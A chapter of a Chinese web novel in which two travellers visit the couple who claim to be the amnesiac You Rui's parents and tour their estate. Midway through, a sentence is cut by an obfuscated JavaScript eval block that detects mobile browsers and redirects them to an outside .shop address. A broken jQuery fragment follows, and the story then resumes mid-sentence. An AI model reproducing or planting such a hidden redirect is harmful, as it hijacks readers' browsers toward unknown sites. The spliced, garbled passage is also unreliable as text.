尤瑞心中的慌张越来越重。
他看着眼前妇人娴熟的样子,下意识地移开视线,在反应过来自己做了什么之后,又强迫自己看回来。
但没过一会儿,又忍不住挪开。
“这两位是……”中年男人顿了顿,似乎不知道该怎么介绍他们。
于是薛月圆朝妇人笑笑:“我们是从泰州过来的,与尤瑞一同结伴来到司州。”
“原来是同伴啊,快请坐。”妇人闻言,起身招呼道。
她面上没有中年男人听闻此事后露出来的怀疑,而是很自然地接受了这件事。
“你也过来。”妇人说完,看着两人身后的尤瑞道。
语气是温温和和的,但是让尤瑞不由自主打了一个寒颤,比当初看到谢星影两面三刀的样子还要让他心虚。
到这种地步了,他几乎也差不多相信这一对中年夫妇是他亲爹亲娘了,只不过记忆到底没有完全恢复,尤瑞还想梗着脖子叫唤两声。
但叫声还未出口,就接受到来自中年男人的一个眼神,让他立马闭上了嘴,乖乖跟在薛月圆和谢星影二人身后进来。
薛月圆好奇地环视着这间府邸,是在巷子的最深处,地盘也最大。门前的街道就比隔壁宽阔不少,进来之后的庭院更是有她在槲州的家的三四个大。
不过这样偌大的府邸,居然只有这对夫妇两人居住。
妇人和蔼地让他们坐下,随后亲自为两人斟茶。
薛月圆双手接过,轻轻抿了一口,觉得这茶比他们在客栈酒楼里喝的香上不少。
而谢星影在喝了一口茶之后,眼中滑过一道讶色。
这泡茶的茶叶是上好的银针茶,味醇气香,完全非寻常人家能用来待客的。
寻常百姓饮茶,是买来二手宽厚茶汤,用以解渴。而他方才瞧那妇人的手法,动作干脆熟稔,若不是日日重复,是做不到如此流畅。
谢星影放下茶盏,指尖微捻,不动声色地扫了一圈对面的两个人。
那中年男子以愤怒匆忙的模样出现在他们面前,让他差一些就忽略了对方经年累月积攒下来的气势。
而那妇人,若是他没看错的话,她的食指与拇指上各有厚薄不同的茧,应当是耍刀弄枪留下来的。
注意到他的视线,妇人朝他看过来,眸中是压在和蔼之下的打量。
谢星影顿了一下,向对方露出一个温柔的笑容,看起来柔弱而毫无攻击力。
他不由得暗恼,今日出来的时候,没有袖箭一类小的暗器。
手边的这把油纸伞过大,若真是闹出什么事情来,恐怕不好施展。
谢星影扶上茶盏,装作若无其事的样子又喝了一口,这才感觉到那妇人的视线移走。
在方才他思索的时候,薛月圆已经同他们交谈起来,她问道:“尤伯伯,不是我们不相信您,实在是尤瑞的记忆尚未完全恢复。”
她转头看了一眼尤瑞,斟酌着说道:“而且,看他似乎也不太信任您的样子,就更让我们……”
然而她这话刚一说出口,尤瑞就连忙打断道:“我什么时候说我不信任、不信任他了?我只是想暂且等等,等记忆恢复再说。”
薛月圆不确定地又回头看了他一眼,他此刻站在她斜后方,离桌子这里远远的。
尤瑞整个人有些僵硬,见到她看过来的视线还警惕点点头,表明自己的话说完了。
虽然有些奇怪,但薛月圆还是选择尊重他,从善如流地重新道:“那就是他想多等等,因此我们也无法这么快就将他送出来。”
话音刚落,她就听到对面传来一声笑。
薛月圆看过去,是尤伯母笑了一下。并非是讥讽或是冷笑,而是十分和善的笑声。
至少薛月圆目前是这么感觉的。
见状,谢星影偏了下头,目光中带着琢磨。他看了看薛月圆怔愣的侧颜,心中的思虑却淡了不少。
他都忘记了,她有自己的方法,倒是他忧虑太多了。
尤伯母见薛月圆一脸困惑,解释道:“薛姑娘对尤瑞实在好,我们也明白你们的顾虑。不如这样,我带着薛姑娘去后院走走,有尤瑞从小到大留下的很多痕迹。”
“谢公子也一并来吧。”尤伯母说完,又望着谢星影颔首。
薛月圆起身,走了两步后停住,问道:“那尤瑞……”
“尤瑞就留在这里,我要好生盘问他。”尤伯开口。
他不信尤瑞是真的失忆了,对这两个人也十分怀疑,现在正好留下他与尤瑞两人。
薛月圆的脚步多停留了一会儿,见到尤瑞只是僵站在原地,但并没有多反抗的情绪后,才迈步跟随尤伯母的步伐离开。
……
谢星影走的时候,把那油纸伞一起拿上了。
虽然他没什么武功功底,但有个利器在身上,总比什么都没有强。
不过尤伯母并没有做什么,反而与薛月圆交谈正欢。
明明在一开始,谢星影分明感觉到了她对他们的提防,但现在她好似真的在待客一样,毫无保留地带着他们把整个后院走了个遍。
“……这里,以前尤瑞和他姐姐就喜欢在这亭子里玩。”尤伯母说道。
从正门进来就能感受到府宅的宽阔,然而进了后院,比前院还要大上一些。
甚至还精巧地砸了一处小湖泊,湖中用石块铺了路。
三人走过去,薛月圆看见那清澈见底的湖水中,居然还有几尾鱼摆着尾巴游动。
她忽然回想到在泰州的某日,尤瑞就是这样趴在湖旁边的石栏上,聚精会神地盯着水里的鱼。
薛月圆问道:“尤瑞还有姐姐?”
尤伯母颔首,道:“有个阿姐,大他四岁,去岁嫁到京城去了。”
“京城?我们此次正是要去京城。”薛月圆惊讶地说道。
尤伯母听闻她的话,眼中也浮现上些许讶色:“你们去京城?”
“我们是从槲州而来,要去京城。”薛月圆解释道,“只是路上正好顺路来到司州,所以才和尤瑞结伴。”
按照谢星影的心思,他是决计不可能把这件事说出来的。
但薛月圆就是这样坦荡地说开了,让他心中一跳,手中的油纸伞握紧了些,去观察尤伯母知晓此事的态度。
在他看来,这一对夫妇并非常人。
槲州不大,薛月圆说到这个份上了,要是这位尤伯母有心的话,是能把他们的来历查得一清二楚的。
不过他仔细观察了片刻,却只看见尤伯母眉间微皱,似是思考了一瞬,随后悠悠说道:“从司州去京城,可不容易啊。”
薛月圆点点头,应道:“我看有许多山路要走,定要耗费不少时间。”
“司远山周围的山道与你们从泰州过来时不同,是盘山而建的。最后会上到一个顶峰,再渐渐盘山而下,对马匹与驾马之人都是考验。”尤伯母没有细问,而是转而同他们谈论起了路途一事,她问道,“薛姑娘可是请了专门的驾车师傅?”
听闻,薛月圆摇摇头:“先前的路都是我驾着马车一路过来的。”
尤伯母惊讶:“是你驾马车,从槲州一路来到的司州。”
她的目中充满欣赏,连语气都热烈了一些。薛月圆抬手捋了一下头发,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17766544|209717||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
自豪地道:“这一路的驾车师傅都是我。”
不过她到底还是担心尤伯母方才话中表露出来的意思,遂问道:“您说从司州到京城的路不好走,可是很危险?若是这样的话,我会好好考虑您的建议,只是不知司州哪里能请到专门的驾车师傅?”
尤伯母微笑:“薛姑娘能从槲州一路安全过来,想必驾车功夫已然相当出色。这种情况,我会建议你不要去找师傅了。”
“马儿与你熟悉,你也有过走山路的经验,只需要足够小心,便可规避风险。”她这样说道,换来薛月圆好几声道谢。
尤伯母眼中的赞赏与笑意多了几分,引着他们往旁边走去:“来这里看看吧……”
等他们三人把后院转完,阳光也淡了不少,是申时末的样子了。
这一路上,除去聊尤瑞之外,薛月圆同尤伯母还聊了赶路的事宜,以及如遇山匪该如何避让,算是难得未雨绸缪了一番。
不光是谢星影,就连薛月圆自己聊完,都对尤伯母见多识广感到好奇起来。
只不过相较于谢星影的沉默,她则是直接开口问道:“伯母,不知这样是否有些冒犯,我想问问您,您是……”
薛月圆说道后面斟酌了片刻,仍无法完全把自己的意思表达出来,不过尤伯母显然知道她想问什么,没有让她踌躇太久,便回答道:“我家官人做些小生意,有时候遇到事情犯了难,我替他分担分担。一来二去的,就知晓了许多事情。”
她说得十分谦逊,但指间的茧昭示了显然并非如此。
薛月圆也看到了,但她没有多问,只道:“尤伯母经多见广,实乃我所钦佩。”
她朝尤伯母笑了一下,率先说道:“那么,我们去看看尤瑞吧,不知他现在与尤伯伯在做什么。”
……
从薛月圆和谢星影离开之后,尤瑞便坚持着站在原地。尤伯等了许久,还不见他的举动,于是沉声道:“还不过来?
在他发声之后,尤瑞陷入了天人交战之中。一道声音对他说,凭什么这个不知来历的老头让他去他就过去,而另一道声音则说,若是不去,他以后定然会后悔的。
是以在尤伯看来,在他发声之后,尤瑞仍然没有任何动静,整个人如同一尊石像一样立在那里。
他眉头一皱,厉声道:“还不过来?!”
尤瑞立刻拔腿……走到了尤伯对面。
“你失忆了?”尤伯问道。
他拍了拍身旁的凳子,让尤瑞坐下来。这番动作更是让尤瑞感到一阵熟悉。
从他走进巷子,不由自主地走到这间府宅面前,发生的一系列事情都让他感到不同程度的熟悉。
尤瑞谨慎地点点头,看到这位自称是他爹的人没有多惊讶,而是道:“那我问你几个问题,看看你是真失忆,还是装失忆。”
所以,在薛月圆三人进来的时候,尤瑞正在绞尽脑汁地回答着尤伯的各种问题。
尤伯母刚刚推门,就听见尤伯的声音从里面传来:“你知不知晓,你小时候喜欢看湖里游的鱼,有段时日每日央求我与你娘去集市上买活鱼,买了也不吃,回家就找个篓子装水放着养。”
坐在尤伯旁边的尤瑞愣愣地眨眼,一脸迷茫。
尤伯母的语气带上几分笑意,接着他的话说道:“鱼不换水就会死,但你又不乐意让我们碰。每次要换水了,就去求你阿姐,你阿姐被你缠得受不了,才会同意和你换水。可惜有一次,换水的时候你没扶稳,把水溅在了你阿姐的新裙子上,她就再也不肯同你一起换水了。”
说完,她与尤伯对视一笑,徒留尤瑞茫然地左看右看。